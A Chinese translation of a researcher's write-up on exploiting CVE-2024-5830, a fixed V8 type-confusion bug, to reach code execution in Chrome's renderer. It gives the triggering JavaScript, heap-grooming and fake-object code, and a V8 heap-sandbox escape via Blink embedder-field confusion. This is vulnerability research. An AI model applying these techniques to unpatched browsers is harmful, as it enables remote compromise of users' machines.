在这篇文章中,我将利用CVE-2024-5830,这是我在2024年5月报告的v8(Chrome的JavaScript引擎)中的一个类型混淆漏洞,编号为bug 342456991。该漏洞已在版本126.0.6478.56/57中修复。这个漏洞允许通过访问恶意网站,在Chrome的渲染器沙箱中实现远程代码执行(RCE)。
V8中的对象map和map转换
本节包含了一些关于对象地图和转换的背景资料,这些资料对于理解此漏洞是必要的。如果读者已经熟悉这些内容,可以跳到下一节。
地图(或隐藏类)的概念对JavaScript解释器来说是相当基础的。它表示对象的内存布局,并在属性访问的优化中起着关键作用。已经有很多优秀的文章详细讨论了这个话题。我特别推荐Mathias Bynens的文章“JavaScript引擎基础:Shapes和Inline Caches”。
一个地图持有一个属性描述符数组(DescriptorArrays
),其中包含关于每个属性的信息。它还包含对象元素及其类型的详细信息。
具有相同属性布局的对象之间可以共享地图。例如,以下两个对象都具有一个SMI
类型(31位整数)的单一属性a
,因此它们可以共享同一个地图。
o1 = {a : 1};
o2 = {a : 10000}; //<------ 和o1相同的地图,MapA
地图还会考虑对象中的属性类型。例如,以下对象o3
具有与o1
和o2
不同的地图,因为其属性a
是double
类型(HeapNumber
),而不是SMI
类型:
o3 = {a : 1.1};
当一个新属性被添加到对象时,如果新的对象布局没有现成的地图,那么将创建一个新的地图。
o1.b = 1; //<------ 新的地图,具有SMI类型的属性a和b
此时,旧的地图和新的地图通过转换相关联:
%DebugPrint(o2);
DebugPrint: 0x3a5d00049001: [JS_OBJECT_TYPE]
- map: 0x3a5d00298911 [FastProperties]
...
- All own properties (excluding elements): {
0x3a5d00002b19: [String] in ReadOnlySpace: #a: 10000 (const data field 0), location: in-object
}
0x3a5d00298911: [Map] in OldSpace
- map: 0x3a5d002816d9 <MetaMap (0x3a5d00281729)>
...
- instance descriptors #1: 0x3a5d00049011
- transitions #1: 0x3a5d00298999
0x3a5d00002b29: [String] in ReadOnlySpace: #b: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x3a5d00298999
...
请注意,o2
的地图包含一个到另一个地图(0x3a5d00298999
)的转换,这是为o3
新创建的地图:
%DebugPrint(o3);
DebugPrint: 0x3a5d00048fd5: [JS_OBJECT_TYPE]
- map: 0x3a5d00298999 [FastProperties]
...
- All own properties (excluding elements): {
0x3a5d00002b19: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
0x3a5d00002b29: [String] in ReadOnlySpace: #b: 1 (const data field 1), location: properties[0]
}
0x3a5d00298999: [Map] in OldSpace
- map: 0x3a5d002816d9 <MetaMap (0x3a5d00281729)>
...
- back pointer: 0x3a5d00298911
...
相反,o2
的地图(0x3a5d00298911
)作为回指针存储在这个新地图中。一个地图可以在TransitionArray
中存储多个转换。例如,如果向o2
添加另一个属性c
,那么TransitionArray
将包含两个转换,一个到属性b
,另一个到属性c
:
o4 = {a : 1};
o2.c = 1;
%DebugPrint(o4);
DebugPrint: 0x2dd400049055: [JS_OBJECT_TYPE]
- map: 0x2dd400298941 [FastProperties]
- All own properties (excluding elements): {
0x2dd400002b19: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
}
0x2dd400298941: [Map] in OldSpace
- map: 0x2dd4002816d9 <MetaMap (0x2dd400281729 )>
...
- transitions #2: 0x2dd400298a35 Transition array #2:
0x2dd400002b39: [String] in ReadOnlySpace: #c: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x2dd400298a0d
0x2dd400002b29: [String] in ReadOnlySpace: #b: (transition to (const data field, attrs: [WEC]) @ Any) -> 0x2dd4002989c9
...
当对象中类型为 SMI
的字段被赋予 double
(HeapNumber
)值时,由于 SMI
类型无法存储 double
值,对象的 map
需要更改以反映这一点:
o1 = {a : 1};
o2 = {a : 1};
o1 = {a : 1.1};
%DebugPrint(o1);
DebugPrint: 0x1b4e00049015: [JS_OBJECT_TYPE]
- map: 0x1b4e002989a1 [FastProperties]
...
- All own properties (excluding elements): {
0x1b4e00002b19: [String] in ReadOnlySpace: #a: 0x1b4e00049041 (const data field 0), location: in-object
}
...
%DebugPrint(o2);
DebugPrint: 0x1b4e00049005: [JS_OBJECT_TYPE]
- map: 0x1b4e00298935 [FastProperties]
...
- All own properties (excluding elements): {
0x1b4e00002b19: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
}
0x1b4e00298935: [Map] in OldSpace
...
- deprecated_map
...
注意,o1
和 o2
不仅具有不同的 map
,而且 o2
的 map
也被标记为 deprecated
(弃用)。这意味着当创建具有相同属性布局的新对象时,它将使用 o1
的 map
(0x1b4e002989a1
)而不是 o2
的 map
(0x1b4e00298935
),因为一个更通用的 map
,即 o1
的 map
,其字段可以表示 HeapNumber
和 SMI
,现在已经可用。此外,当访问 o2
的属性时,它的 map
也会更新为 o1
的 map
。这是通过 UpdateImpl
函数完成的:
Handle MapUpdater::UpdateImpl() {
...
if (FindRootMap() == kEnd) return result_map_;
if (FindTargetMap() == kEnd) return result_map_;
if (ConstructNewMap() == kAtIntegrityLevelSource) {
ConstructNewMapWithIntegrityLevelTransition();
}
...
return result_map_;
}
基本上,该函数使用 map
的 back pointer
回溯转换,直到到达第一个没有 back pointer
的 map
(RootMap
)。然后,它遍历从 RootMap
的转换,检查是否已经存在适合对象使用的转换 map
(FindTargetMap
)。如果找到合适的 map
,那么 ConstructNewMap
将创建一个新的 map
,该 map
随后将被对象使用。
例如,在以下情况下,当第二个属性被赋予 HeapNumber
值时,具有三个属性的 map
变得不再使用:
obj = {a : 1};
obj.b = 1;
obj.c = 1; //<---- 现在的 Map 具有 3 个 SMI 属性
obj.b = 1.1 //<----- 原始 Map 变为不再使用并创建一个新的 Map
在这种情况下,创建了两个新 map
。首先是一个具有 a
和 b
属性的 map
,它们的类型分别为 SMI
和 HeapNumber
,然后是另一个具有三个属性的 map
,a : SMI
,b : HeapNumber
和 c : SMI
,以适应新的属性布局:
在上图中,红色的 map
被弃用,绿色的 map
是新创建的 map
。属性赋值后,obj
将使用新创建的 map
,其中包含属性 a
,b
和 c
,并且对弃用的红色 map
的转换被移除并由新的绿色转换取代。
在 v8 中,对象属性可以存储在数组或字典中。将属性存储在数组中的对象称为快速对象(fast objects),而将属性存储在字典中的对象称为字典对象(dictionary objects)。map
转换和弃用特定于快速对象,通常,当发生 map
弃用时,UpdateImpl
将创建另一个快速 map
。然而,这并非总是如此。让我们来看一个稍微不同的例子:
obj = {a : 1};
obj.b = 1; //<---- MapB
obj.c = 1; //<---- MapC
obj2 = {a : 1};
obj2.b = 1; //<----- MapB
obj2.b = 1.1; //<---- obj 的 map 变为不再使用
将 HeapNumber
分配给 obj2.b
会导致 obj2
的原始 map
(MapB
)以及 obj
的 map
(MapC
)变为不再使用。这是因为 obj
的 map
(MapC
)现在是弃用 map
(MapB
)的一个转换,这导致它也变为不再使用:
由于 obj
现在具有弃用的 map
,因此当访问它的任何属性时,它的 map
将被更新:
x = obj.a; //<---- 调用 UpdateImpl 来更新 obj 的 map
在这种情况下,必须创建一个新 map
,并将一个新转换添加到 obj2
的 map
中。但是,map
可以容纳的转换数量有限。在添加新转换之前,将执行一个 检查,以确保 map
可以容纳另一个转换:
MapUpdater::State MapUpdater::ConstructNewMap() {
...
if (maybe_transition.is_null() &&
!TransitionsAccessor::CanHaveMoreTransitions(isolate_, split_map)) {
return Normalize("Normalize_CantHaveMoreTransitions");
}
...
如果不能再添加更多的过渡,那么将通过 Normalize
创建一个新的字典映射。
obj = {a : 1};
obj.b = 1;
obj.c = 1;
obj2 = {a : 1};
obj2.b = 1.1; //<---- obj 的映射变得过时
//向 obj2 的映射中添加过渡
for (let i = 0; i < 1024 + 512; i++) {
let tmp = {a : 1};
tmp.b = 1.1;
tmp['c' + i] = 1;
}
obj.a = 1; //<----- 调用 UpdateImpl 来更新 obj 的映射
由于 obj2
的映射无法再承载更多的过渡,因此在访问 obj
的属性后,会为其创建一个新的字典映射。这种行为有些出乎意料,所以 Update
通常会伴随着一个调试断言,以确保更新后的映射不是字典映射(DCHECK
仅在调试构建中激活):
Handle Map::PrepareForDataProperty(Isolate* isolate, Handle map,
InternalIndex descriptor,
PropertyConstness constness,
Handle
漏洞
虽然在大多数情况下,函数 PrepareForDataProperty
的使用不会在调用 Update
后导致字典映射,但 PrepareForDataProperty
可以通过 CreateDataProperty
调用 TryFastAddDataProperty
,这可能在更新后导致字典映射。CreateDataProperty
有多条路径使用,但其中一条特别有趣的路径是在对象克隆中。当使用展开语法复制对象时,会创建原始对象的浅拷贝:
var obj1 = {a : 1};
const clonedObj = { ...obj1 };
在这种情况下,CreateDataProperty
被用于在 clonedObj
中创建新属性,并在适当时更新其映射。然而,如果被克隆的对象 obj1
包含属性访问器,那么在对象被克隆时,该访问器会被调用。例如,在以下情况下:
var x = {};
x.a0 = 1;
x.__defineGetter__("prop", function() {
return 1;
});
var y = {...x};
在这种情况下,当 x
被克隆到 y
时,x
中的属性访问器 prop
会在属性 a0
被复制到 y
之后被调用。此时,y
的映射中仅包含 SMI
属性 a0
,并且访问器可能导致 y
的映射变得过时。
var x = {};
x.a0 = 1;
x.__defineGetter__("prop", function() {
let obj = {};
obj.a0 = 1; //<--- 此时 obj 的映射与 y 相同
obj.a0 = 1.5; //<--- y 的映射变得过时
return 1;
});
var y = {...x};
当调用 CreateDataProperty
来复制属性 prop
时,PrepareForDataProperty
中的 Update
会被调用来更新 y
的过时映射。如前所述,通过在属性访问器中向 obj
的映射添加过渡,有可能导致映射更新返回 y
的字典映射。由于在 PrepareForDataProperty
中使用更新后的映射时假设它是一个快速映射,而不是字典映射,这可能会以各种方式破坏对象 y
。
在 v8 堆中获得任意读写权限
首先,让我们看看在 PrepareForDataProperty
中如何使用更新后的映射:
Handle Map::PrepareForDataProperty(Isolate* isolate, Handle map,
InternalIndex descriptor,
PropertyConstness constness,
Handle
更新后的 map
首先由 UpdateDescriptorForValue
使用。
Handle UpdateDescriptorForValue(Isolate* isolate, Handle map,
InternalIndex descriptor,
PropertyConstness constness,
Handle
在 UpdateDescriptorForValue
中访问 map
的 instance_descriptors
。instance_descriptors
包含映射中的属性信息,但仅与快速映射相关。对于字典映射,它始终是一个长度为零的空数组。因此,访问字典映射的 instance_descriptors
将导致对空数组的越界访问(OOB)。特别是,调用 ReconfigureToDataField
可以修改 instance_descriptors
中的条目。虽然这看起来像是一个有前途的 OOB 写入原语,但问题在于 v8 中长度为零的描述符数组指向存储在只读区域的 empty_descriptor_array:
V(DescriptorArray, empty_descriptor_array, EmptyDescriptorArray)
任何对 empty_descriptor_array
的越界写入只会写入到只读内存区域并导致崩溃。为了避免这种情况,我需要使 CanHoldValue
返回 true
,以便不会调用 ReconfigureToDataField
。在调用 CanHoldValue
时,会读取 empty_descriptor_array
的越界条目,然后检查某些条件:
bool CanHoldValue(Tagged descriptors, InternalIndex descriptor,
PropertyConstness constness, Tagged
虽然 empty_descriptor_array
存储在只读区域中,我无法控制它后面的内存内容,但读取的索引 descriptor
是与属性 prop
对应的数组索引,而这个索引是我可以控制的。通过改变在 x
中 prop
之前的属性数量,我可以控制对 empty_descriptor_array
的越界读取偏移。这使我可以选择适当的偏移量,以便满足 CanHoldValue
中的条件。
虽然这样可以避免立即崩溃,但对漏洞利用来说并不是非常有用。因此,让我们看看在从 PrepareForDataProperty
返回字典映射之后接下来会发生什么。
bool CanHoldValue(Tagged descriptors, InternalIndex descriptor,
PropertyConstness constness, Tagged
在返回 new_map
后,会再次在偏移量 descriptor
处读取它的 instance_descriptors
,即 empty_descriptor_array
,并将结果用于属性写入中的另一个偏移量:
void JSObject::WriteToField(InternalIndex descriptor, PropertyDetails details,
Tagged
在上面的代码中,index
编码在 PropertyDetails
中,并在 FastPropertyAtPut
中用于在生成的对象中写入属性。然而,FastPropertyAtPut
假设对象具有存储在 PropertyArray
中的快速属性,而我们的对象实际上是一个字典对象,属性存储在 NameDictionary
中。这导致了 PropertyArray
和 NameDictionary
之间的混淆,并且由于 NameDictionary
包含比 PropertyArray
更多的内部字段,使用为 PropertyArray
设计的偏移量写入 NameDictionary
可能会覆盖 NameDictionary
中的一些内部字段。一种常见的利用快速对象和字典对象之间混淆的方法是覆盖 NameDictionary
中的 capacity
字段,该字段用于在访问 NameDictionary
时检查边界(类似于我在这篇文章中利用另一个 v8 bug 的方法)。
然而,由于我无法完全控制来自 empty_descriptor_array
的越界读取的 PropertyDetails
,因此我无法覆盖 NameDictionary
的 capacity
字段。相反,我设法覆盖了 NameDictionary
的另一个内部字段 elements
。虽然 elements
字段通常不用于属性访问,但它在 MigrateSlowToFast
中被用作访问字典属性的边界:
void JSObject::MigrateSlowToFast(Handle object,
int unused_property_fields,
const char* reason) {
...
Handle iteration_order;
int iteration_length;
if constexpr (V8_ENABLE_SWISS_NAME_DICTIONARY_BOOL) {
...
} else {
...
iteration_length = dictionary->NumberOfElements(); //<---- elements field
}
...
for (int i = 0; i get(i)));
k = dictionary->NameAt(index);
value = dictionary->ValueAt(index); //DetailsAt(index);
}
...
}
...
}
在 MigrateSlowToFast
中,dictionary->NumberOfElements()
用作循环中访问属性 NameDictionary
的偏移量的边界。因此,通过将 elements
覆盖为一个大值,我可以在循环中读取属性值时造成越界读取。这些属性值然后被复制到新创建的快速对象中。通过仔细安排堆,我可以控制读取的 value
并使其指向 v8 堆中的伪造对象。
在上图中,绿色框是 NameDictionary
的实际边界,但由于 elements
字段被破坏,在 MigrateSlowToFast
期间可能会发生越界访问,导致它访问红色框中的值,并将其用作属性的值。通过安排堆,我可以在红色框中放置任意值,尤其是我可以让它指向我创建的伪造对象。
在 v8 中安排堆相对简单,因为对象在线性分配在 v8 堆中。要在 NameDictionary
之后放置控制值,我可以在对象被克隆后分配数组,然后将控制值写入数组条目中。
var y = {...x}; //<---- NameDictionary allocated
//Placing control values after the NameDictionary
var arr = new Array(256);
for (let i = 0; i < 7; i++) {
arr[i] = new Array(256);
for (let j = 0; j < arr[i].length; j++) {
arr[i][j] = nameAddrF;
}
}
为了确保我放置在 NameDictionary
之后的值指向伪造对象,我需要知道伪造对象的地址。正如我在 POC2022 会议上的演讲中指出的那样,只需知道 Chrome 的版本,v8 中对象的地址就可以可靠地预测出来。这使我能够算出伪造对象的地址:
var dblArray = [1.1,2.2];
var dblArrayAddr = 0x4881d; //<---- address of dblArray is consistent across runs
var dblArrayEle = dblArrayAddr - 0x18;
//Creating a fake double array as an element with length 0x100
dblArray[0] = i32tof(dblArrMap, 0x725);
dblArray[1] = i32tof(dblArrayEle, 0x100);
通过使用已知的对象地址及其映射,我可以创建一个假对象并获取其地址。
一旦堆被准备好,我可以触发 MigrateSlowToFast
来访问这个假对象。首先,让克隆对象 y
成为另一个对象 z
的原型即可实现。访问 z
的任何属性都会触发 MakePrototypesFast
,进而调用 MigrateSlowToFast
对 y
进行操作:
var z = {};
z.__proto__ = y;
z.p; //<------ 触发 MigrateSlowToFast 对 y 进行操作
这会将 y
转变为一个快速对象,其中我之前准备的假对象可以作为 y
的一个属性访问。一个有用的假对象是一个具有大 length
的假双精度数组,随后可以用来引发其元素的OOB访问。
一旦实现了对假双精度数组的OOB访问,获取对v8堆中的任意读写权限就相对简单了。基本步骤如下:
-
首先,在假双精度数组之后放置一个 Object
数组,并使用假双精度数组中的OOB读原语读取存储在该数组中的对象的地址。这使我能够获取任何V8对象的地址。 -
在假双精度数组后放置另一个双精度数组 writeArr
,并使用假双精度数组中的OOB写原语将writeArr
的element
字段覆盖为一个对象地址。然后访问writeArr
的元素就可以读/写任意地址。
超越堆沙箱的思考
最近引入的 v8 堆沙箱 将v8堆与其他进程内存(如可执行代码)隔离开来,并防止v8堆内的内存损坏访问堆外内存。为了获得代码执行权限,需要找到一种方式逃离堆沙箱。
在Chrome中,像 DOM
对象这样的 Web API 对象是在 Blink 中实现的。Blink中的对象是在v8堆之外分配的,并作为api对象在v8中表示:
var domRect = new DOMRect(1.1,2.3,3.3,4.4);
%DebugPrint(domRect);
DebugPrint: 0x7610003484c9: [[api object] 0]
...
- embedder fields: 2
- properties: 0x7610000006f5
- All own properties (excluding elements): {}
- embedder fields = {
0, aligned pointer: 0x7718f770b880
0, aligned pointer: 0x325d00107ca8
}
0x7610003b6985: [Map] in OldSpace
- map: 0x76100022f835 <MetaMap (0x76100022f885 )>
- type: [api object] 0
...
这些对象本质上是Blink中对象的包装器,它们包含两个 embedder fields
来存储实际Blink对象的位置以及它们的实际类型。尽管 embedder fields
在 DebugPrint
中显示为指针值,但由于堆沙箱的存在,它们实际上并不是作为指针存储在v8对象中的,而是作为一个查找表的索引,这个查找表在v8堆中受到保护,不会被修改。
bool EmbedderDataSlot::ToAlignedPointer(Isolate* isolate,
void** out_pointer) const {
...
#ifdef V8_ENABLE_SANDBOX
// 原始部分必须始终包含一个有效的外部指针表索引。
*out_pointer = reinterpret_cast(
ReadExternalPointerField(
address() + kExternalPointerOffset, isolate));
return true;
...
}
外部查找表确保 embedder field
必须是表中的有效索引,并且从 embedder field
读取的任何指针都必须指向有效的Blink对象。然而,通过在v8堆中实现任意读写,我仍然可以将一个api对象的 embedder field
替换为另一个具有不同Blink类型的api对象的 embedder field
。这可以用于在Blink对象中引发类型混淆。
特别地,我可以在 DOMRect
和 DOMTypedArray
之间引发类型混淆。DOMRect
是一个简单的数据结构,具有四个属性 x
、y
、width
、height
用来指定它的尺寸。访问这些属性 的过程只是对 DOMRect
Blink对象中相应偏移量的读写操作。通过在 DOMRect
和其他Blink对象之间引发类型混淆,我可以从这些偏移量处读取和写入任何Blink对象的值。特别地,通过将 DOMRect
与 DOMTypedArray
混淆,我可以覆盖其 backing_store_
指针,该指针指向 DOMTypedArray
的数据存储。将 backing_store_
更改为任意指针值,然后访问 DOMTypedArray
中的条目,从而使我能够对整个内存空间进行任意读写操作。
为了绕过ASLR并识别进程内存中的有用地址,注意每个api对象还包含一个 embedder field
,它存储一个指向Blink对象的 wrapper_type_info
的指针。由于这些 wrapper_type_info
是全局静态对象,通过将这个 embedder field
与 DOMRect
对象混淆,我可以将 wrapper_type_info
的指针读取为 DOMRect
中的一个属性。特别地,我现在可以读取 TrustedCage::base_
的地址,这是一个包含重要对象如JIT代码地址等的内存区域的偏移量。我现在可以简单地编译一个JIT函数,并修改其JIT代码的地址来实现任意代码执行。
该漏洞利用可以在这里找到,并附有一些设置说明。
结论
在这篇文章中,我研究了 CVE-2024-5830,这是一个由于更新已弃用的映射而导致的快速对象和字典对象之间的混淆问题。映射转换和弃用常常引入复杂且微妙的问题,也导致了一些在野外被利用的漏洞。在这种情况下,更新已弃用的映射会导致其意外地成为字典映射,特别是,生成的字典映射被假设输入为快速映射的代码使用。这使我能够覆盖字典映射的内部属性,并最终导致字典的OOB访问。我可以使用这个OOB访问创建一个假对象,从而在v8堆中实现任意读写。
为了绕过v8堆沙箱,我修改了在v8中作为Blink对象包装器的API对象,在堆沙箱之外的对象中引发类型混淆。随后,我利用这一点实现了v8堆沙箱之外的任意内存读写,并进而在Chrome渲染进程中实现任意代码执行。
原文始发于微信公众号(3072):Chrome 渲染器中的对象转换到 RCE